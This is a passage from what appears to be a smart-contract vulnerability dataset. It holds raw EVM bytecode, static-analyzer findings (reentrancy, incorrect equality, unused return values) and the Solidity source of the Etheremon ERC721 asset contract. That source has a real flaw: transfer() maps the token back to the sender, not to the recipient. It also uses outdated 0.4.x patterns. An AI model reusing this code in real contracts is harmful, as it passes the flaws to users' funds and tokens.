fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611541576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b62fa7d00611597600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261216c90919063ffffffff16565b1161160a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b42600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f54600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006116be6127106116b060328561253190919063ffffffff16565b61256090919063ffffffff16565b905060006116d5828461216c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561178a57600080fd5b505af115801561179e573d6000803e3d6000fd5b505050506040513d60208110156117b457600080fd5b8101908080519060200190929190505050611837576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118ca57600080fd5b505af11580156118de573d6000803e3d6000fd5b505050506040513d60208110156118f457600080fd5b8101908080519060200190929190505050611977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6119c983600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461216c90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a218360105461216c90919063ffffffff16565b601081905550611a3b33600661257990919063ffffffff16565b8015611a8657506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15611aa157611a9f3360066125a990919063ffffffff16565b505b505050565b600b6020528060005260406000206000915090505481565b600d5481565b60105481565b600e5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600f5481565b62fa7d0081565b6000611b1782600661257990919063ffffffff16565b611b245760009050611c43565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b755760009050611c43565b6000611bcb600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600f5461216c90919063ffffffff16565b90506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000611c3a601154611c2c858561253190919063ffffffff16565b61256090919063ffffffff16565b90508093505050505b919050565b60035481565b600080611c666004544261216c90919063ffffffff16565b90506000611cc3612710611cb562fa7d00611ca786611c99612710680dee976a5b0b64000061253190919063ffffffff16565b61253190919063ffffffff16565b61256090919063ffffffff16565b61256090919063ffffffff16565b9050809250505090565b60008111611d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b611d4c33612247565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611dfd57600080fd5b505af1158015611e11573d6000803e3d6000fd5b505050506040513d6020811015611e2757600080fd5b8101908080519060200190929190505050611eaa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611efc81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f548160105461219d90919063ffffffff16565b601081905550611f6e33600661257990919063ffffffff16565b611fcc57611f863360066125ee90919063ffffffff16565b5042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60086020528060005260406000206000915090505481565b603281565b60055481565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561208a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915090505481565b680dee976a5b0b64000081565b60008282111561217857fe5b818303905092915050565b6000612192836000018361261e565b60001c905092915050565b6000808284019050838110156121af57fe5b8091505092915050565b600060105414156121c957612244565b6122066121f56010546121e76011548561253190919063ffffffff16565b61256090919063ffffffff16565b600f5461219d90919063ffffffff16565b600f819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b600061225282611b01565b905060008111156124a357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156122f057600080fd5b505af1158015612304573d6000803e3d6000fd5b505050506040513d602081101561231a57600080fd5b810190808051906020019092919050505061239d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6123ef81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124478160055461219d90919063ffffffff16565b6005819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f54600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061255057508284828161254d57fe5b04145b61255657fe5b8091505092915050565b60008082848161256c57fe5b0490508091505092915050565b60006125a1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126a1565b905092915050565b60006125d1836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126c4565b905092915050565b60006125e7826000016127ac565b9050919050565b6000612616836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6127bd565b905092915050565b60008183600001805490501161267f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061282e6022913960400191505060405180910390fd5b82600001828154811061268e57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127a0576000600182039050600060018660000180549050039050600086600001828154811061270f57fe5b906000526020600020015490508087600001848154811061272c57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061276457fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127a6565b60009150505b92915050565b600081600001805490509050919050565b60006127c983836126a1565b612822578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612827565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473a26469706673582212201daaaeda6c17d6ebcee82a3cbe96aa01febe45bc4e30cc6fbe516169abaa5ce264736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,696 |
0xfc07251450048bf4e9fa60b856c1e0abd1574d1c | pragma solidity ^0.4.18;
// Etheremon ERC721
// copyright contact@Etheremon.com
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
// write
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode);
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
// read
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
interface EtheremonBattle {
function isOnBattle(uint64 _objId) constant external returns(bool);
}
interface EtheremonTradeInterface {
function isOnTrading(uint64 _objId) constant external returns(bool);
}
contract ERC721 {
// ERC20 compatible functions
// function name() constant returns (string name);
// function symbol() constant returns (string symbol);
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
// Functions that define ownership
function ownerOf(uint256 _tokenId) public constant returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function takeOwnership(uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant returns (uint tokenId);
// Token metadata
//function tokenMetadata(uint256 _tokenId) constant returns (string infoUrl);
// Events
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
}
contract EtheremonAsset is BasicAccessControl, ERC721 {
string public constant name = "EtheremonAsset";
string public constant symbol = "EMONA";
mapping (address => mapping (uint256 => address)) public allowed;
// data contract
address public dataContract;
address public battleContract;
address public tradeContract;
// helper struct
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
// modifier
modifier requireDataContract {
require(dataContract != address(0));
_;
}
modifier requireBattleContract {
require(battleContract != address(0));
_;
}
modifier requireTradeContract {
require(tradeContract != address(0));
_;
}
function EtheremonAsset(address _dataContract, address _battleContract, address _tradeContract) public {
dataContract = _dataContract;
battleContract = _battleContract;
tradeContract = _tradeContract;
}
function setContract(address _dataContract, address _battleContract, address _tradeContract) onlyModerators external {
dataContract = _dataContract;
battleContract = _battleContract;
tradeContract = _tradeContract;
}
// public
function totalSupply() public constant requireDataContract returns (uint256 supply){
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.totalMonster();
}
function balanceOf(address _owner) public constant requireDataContract returns (uint balance) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.getMonsterDexSize(_owner);
}
function ownerOf(uint256 _tokenId) public constant requireDataContract returns (address owner) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
return obj.trainer;
}
function approve(address _to, uint256 _tokenId) isActive external {
require(msg.sender == ownerOf(_tokenId));
require(msg.sender != _to);
allowed[msg.sender][_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) requireDataContract requireBattleContract requireTradeContract isActive external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(msg.sender != obj.trainer);
require(allowed[obj.trainer][_tokenId] == msg.sender);
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[obj.trainer][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(msg.sender, obj.monsterId);
Transfer(obj.trainer, msg.sender, _tokenId);
}
function transfer(address _to, uint256 _tokenId) requireDataContract isActive external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(obj.trainer == msg.sender);
require(msg.sender != _to);
require(_to != address(0));
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[obj.trainer][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(msg.sender, obj.monsterId);
Transfer(obj.trainer, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) requireDataContract requireBattleContract requireTradeContract external {
EtheremonDataBase data = EtheremonDataBase(dataContract);
MonsterObjAcc memory obj;
(obj.monsterId, obj.classId, obj.trainer, obj.exp, obj.createIndex, obj.lastClaimIndex, obj.createTime) = data.getMonsterObj(uint64(_tokenId));
require(obj.monsterId == uint64(_tokenId));
require(obj.trainer == _from);
require(_to != address(0));
require(_to != _from);
require(allowed[_from][_tokenId] == msg.sender);
// check battle & trade contract
EtheremonBattle battle = EtheremonBattle(battleContract);
EtheremonTradeInterface trade = EtheremonTradeInterface(tradeContract);
if (battle.isOnBattle(obj.monsterId) || trade.isOnTrading(obj.monsterId))
revert();
// remove allowed
allowed[_from][_tokenId] = address(0);
// transfer owner
data.removeMonsterIdMapping(obj.trainer, obj.monsterId);
data.addMonsterIdMapping(_to, obj.monsterId);
Transfer(obj.trainer, _to, _tokenId);
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant requireDataContract returns (uint tokenId) {
EtheremonDataBase data = EtheremonDataBase(dataContract);
return data.getMonsterObjId(_owner, _index);
}
} | 0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c65780630d6688181461020857806314d0f1ba1461025d57806318160ddd146102ae57806323b872dd146102d757806329291054146103385780632f745c59146103af578063423b1ca31461040557806348ef5aa81461045a5780634efb023e1461047f5780636352211e146104b05780636c81fd6d1461051357806370a082311461054c578063739f660d146105995780638da5cb5b1461061b57806395d89b4114610670578063a9059cbb146106fe578063b2e6ceeb14610740578063b85d627514610763578063ee4e44161461079c578063f2853292146107c9578063ffa640d814610802575b600080fd5b341561014357600080fd5b61014b610857565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018b578082015181840152602081019050610170565b50505050905090810190601f1680156101b85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101d157600080fd5b610206600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610890565b005b341561021357600080fd5b61021b610a21565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561026857600080fd5b610294600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a47565b604051808215151515815260200191505060405180910390f35b34156102b957600080fd5b6102c1610a67565b6040518082815260200191505060405180910390f35b34156102e257600080fd5b610336600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b84565b005b341561034357600080fd5b6103ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061141f565b005b34156103ba57600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611546565b6040518082815260200191505060405180910390f35b341561041057600080fd5b6104186116a5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046557600080fd5b61047d600480803515159060200190919050506116cb565b005b341561048a57600080fd5b610492611743565b604051808261ffff1661ffff16815260200191505060405180910390f35b34156104bb57600080fd5b6104d16004808035906020019091905050611757565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051e57600080fd5b61054a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611992565b005b341561055757600080fd5b610583600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad2565b6040518082815260200191505060405180910390f35b34156105a457600080fd5b6105d9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062657600080fd5b61062e611c60565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561067b57600080fd5b610683611c85565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c35780820151818401526020810190506106a8565b50505050905090810190601f1680156106f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561070957600080fd5b61073e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611cbe565b005b341561074b57600080fd5b6107616004808035906020019091905050612412565b005b341561076e57600080fd5b61079a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612c59565b005b34156107a757600080fd5b6107af612d9a565b604051808215151515815260200191505060405180910390f35b34156107d457600080fd5b610800600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612dad565b005b341561080d57600080fd5b610815612e82565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280600e81526020017f4574686572656d6f6e417373657400000000000000000000000000000000000081525081565b600260009054906101000a900460ff161515156108ac57600080fd5b6108b581611757565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ee57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915054906101000a900460ff1681565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610ac857600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16637a09defe6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610b5957600080fd5b6102c65a03f11515610b6a57600080fd5b5050506040518051905067ffffffffffffffff1691505090565b6000610b8e612ea8565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610bef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610c4d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610cab57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b1515610d5b57600080fd5b6102c65a03f11515610d6c57600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff16141515610e6f57600080fd5b8673ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff16141515610ead57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610ee957600080fd5b8673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515610f2457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610fce57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b15156110a757600080fd5b6102c65a03f115156110b857600080fd5b505050604051805190508061117357508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561115757600080fd5b6102c65a03f1151561116857600080fd5b505050604051805190505b1561117d57600080fd5b6000600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b15156112cb57600080fd5b6102c65a03f115156112dc57600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e8785600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561139957600080fd5b6102c65a03f115156113aa57600080fd5b5050508573ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a350505050505050565b60011515600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561147e57600080fd5b82600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156115a757600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166375fe2e3385856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561167757600080fd5b6102c65a03f1151561168857600080fd5b5050506040518051905067ffffffffffffffff1691505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffff